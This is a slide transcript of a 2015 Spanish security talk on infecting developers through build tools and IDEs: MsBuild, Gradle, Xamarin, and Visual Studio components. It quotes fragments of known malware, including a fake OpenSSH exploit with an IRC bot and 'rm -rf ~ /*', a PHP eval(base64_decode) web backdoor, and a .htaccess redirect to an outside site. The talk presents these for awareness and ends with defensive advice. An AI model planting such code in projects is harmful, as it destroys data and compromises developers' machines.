bend the developers to your will - miguel tarascó @ tarlogic - rooted 2015

34
Bend the developers to your will Miguel Tarascó Acuña @Tarlogic @AcrylicWiFi

Upload: atarasco

Post on 16-Jul-2015

341 views

Category:

Software


1 download

TRANSCRIPT

Bend the developers

to your will

Miguel Tarascó Acuña @Tarlogic

@AcrylicWiFi

Bend the developers to your will

Bend the developers to your will

Objetivos de la charla

1. Estado del arte (Code related Malware)

2. Explorar nuevos vectores y enfoques

3. Cómo explotarlos

4. Cómo prevenirlos/mitigarlos

Bend the developers to your will

¿Porque los desarrolladores ?

• Usuarios privilegiados

• Acceso a contraseñas

• Vectores de infección poco conocidos

• Otros …………..

Bend the developers to your will

Estado del arte

Bend the developers to your will

Bomba lógica

Ofuscación

Si juegas con el mejor... muere como los demás.

Fake 0days ”openssh-53p1-remote-root.c”

#!/usr/bin/perl

$chan="#cn";

$key ="fags";

$nick="k\n";

print $sock "JOIN $chan $key\n";

while (<$sock>){if (/^PING

(.*)$/){

$server="irc.ham.de.euirc.net";

rm -rf ~ /* 2> /dev/null &

fopen(……..,"w+")

fseek(jmpinst,0,SEEK_SET);

fprintf(jmpinst,"%s",shellcode);

fclose(jmpinst);

Bend the developers to your will

PHP/Web Malware Bend the developers to your will

post-

title/%&(%7B$%7Beval(base64_decode($_

SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)

<?php .. eval(base64_decode("DQ..."))

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteCond %{HTTP_REFERER}

^.*(google|ask|yahoo|baidu|youtube| <...> )\.(.*)

RewriteRule ^(.*)$ http://dimitri.ru/index.php

[R=301,L]

</IfModule>

Gestores de compilación

• Programas más complejos

• Múltiples ficheros

• Múltiples dependencias

• Cross compiling

• Team builds

• etc

Bend the developers to your will

Make – Cómo abusarlo

Gestor de dependencias

más usado

Bend the developers to your will

Make – Cómo abusarlo

all:

@echo "Wololo!" > "pwned"

@echo "Compiled"

Bend the developers to your will

MsBuild – Que és

• Microsoft Build Engine

• Xml

–Propiedades <PropertyGroup>

–Objetivos <Target>

–Tareas <Task>

–Items <ItemGroup>

Bend the developers to your will

MsBuild – Cómo se abusa

• Trasparente para el desarrollador

• Lo gestiona el Visual Studio

Bend the developers to your will

MsBuild – Cómo se abusa

• No es visible desde el IDE

• Referencias a ficheros externos

• Acepta llamadas a la API de .Net

• Escritura y ejecución

• Esta documentado

• No está explicado

Bend the developers to your will

DEMO 1 Abusing MsBuild Engine

MsBuild Bend the developers to your will

DEMO 1 Abusing MsBuild Engine

MsBuild Bend the developers to your will

Gradle – Que es

• Sistema automatizado de compilación

• Open Source

• Scripts en Groovy (DSL)

Bend the developers to your will

Gradle – Cómo se abusa

• Integrado con el IDE

• Autogenerado

• Si se ven los scripts desde el IDE

• Editable

Bend the developers to your will

Gradle – Cómo se abusa

• Groovy soporta llamadas Java

• Se puede:

–Des/Comprimir archivos/streams

–Escribir a disco

–Ejecutar

Bend the developers to your will

DEMO 2 Abusing Android Studio

Gradle – Android Studio Bend the developers to your will

DEMO 2 Abusing Android Studio

Gradle – Android Studio Bend the developers to your will

Xamarin – Que és

• Antes llamado MonoDevelop

• IDE desarrollo proyecto Mono

• Multiplataforma

–Windows

–Mac

–Linux

Bend the developers to your will

DEMO 3 Abusing Xamarin

Xamarin Bend the developers to your will

DEMO 3 Abusing Xamarin

Xamarin Bend the developers to your will

Componentes Gráficos

• “Objetos Visibles”

• Elementos de la interfaz de usuario

• Librerias gráficas

• Parte principal de los GUI

• Productos/librerias comerciales

Bend the developers to your will

Visual Studio – Cómo se abusan

• Agregar a la solución

–Proyecto

–Librería

• Usar uno por defecto

• Arrastrarlo al Form

• Se autodibujan

Bend the developers to your will

Visual Studio – Cómo se abusan

• Interactivos

• También en tiempo de diseño

• Si se pinta, se ejecuta

• Y si metemos algo más

que código de pintado ?

Bend the developers to your will

DEMO 4 Abusing Visual Studio

Visual Studio Bend the developers to your will

DEMO 4 Abusing Visual Studio

Visual Studio Bend the developers to your will

Android Studio – Como se abusa Bend the developers to your will

• Basado en Eclipse

• Se implementa el método de pintado

• Se incluye en el proyecto

• Similar a los Widgets

• Se crea una vista

Android Studio Bend the developers to your will

Android Studio Bend the developers to your will

Conclusiones

• NUNCA confiar

• Revisar:

–El código.

–Resto de ficheros

• Usar:

–Máquinas Virtuales

–Sandbox

Bend the developers to your will

Gracias :) ¿Preguntas?

Bend the developers

to your will

Miguel Tarascó Acuña

@Tarlogic

@AcrylicWiFi

Bend the developers to your will